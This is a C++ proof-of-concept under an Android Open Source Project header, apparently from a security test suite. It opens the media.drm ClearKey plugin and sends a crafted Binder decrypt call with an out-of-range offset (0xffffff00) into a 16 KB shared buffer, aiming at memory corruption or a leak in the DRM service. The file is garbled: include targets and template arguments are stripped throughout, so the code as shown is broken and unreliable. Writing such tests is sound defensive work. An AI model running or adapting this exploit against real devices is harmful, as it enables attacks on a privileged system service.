/** * Copyright (C) 2019 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include using namespace android; template void mediaPoc(BpInterface *sit) { Parcel data, reply; data.writeInterfaceToken(sit->getInterfaceDescriptor()); data.writeInt32(0); data.writeInt32(0); static const uint8_t kDummy[16] = {0}; data.write(kDummy, 16); data.write(kDummy, 16); const int wsize = 16 * 1024; sp dealer = new MemoryDealer(wsize); sp memory = dealer->allocate(wsize); data.writeInt32(wsize); data.writeStrongBinder(IInterface::asBinder(memory)); const int ss = 0x1; data.writeInt32(0xffffff00); data.writeInt32(ss); CryptoPlugin::SubSample samples[ss]; for (int i = 0; i < ss; i++) { samples[i].mNumBytesOfEncryptedData = 0; samples[i].mNumBytesOfClearData = wsize; } data.write(samples, sizeof(CryptoPlugin::SubSample) * ss); char out[wsize] = {0}; reply.read(out, wsize); } static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B}; int main(void) { status_t st; sp crypto = interface_cast( defaultServiceManager()->getService(String16("media.drm"))) ->makeCrypto(); sp drm = interface_cast( defaultServiceManager()->getService(String16("media.drm"))) ->makeDrm(); Vector sess; st = drm->createPlugin(kClearKeyUUID, (String8) "test"); st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess); st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size()); BpInterface *sit = static_cast *>(crypto.get()); mediaPoc(sit); return 0; }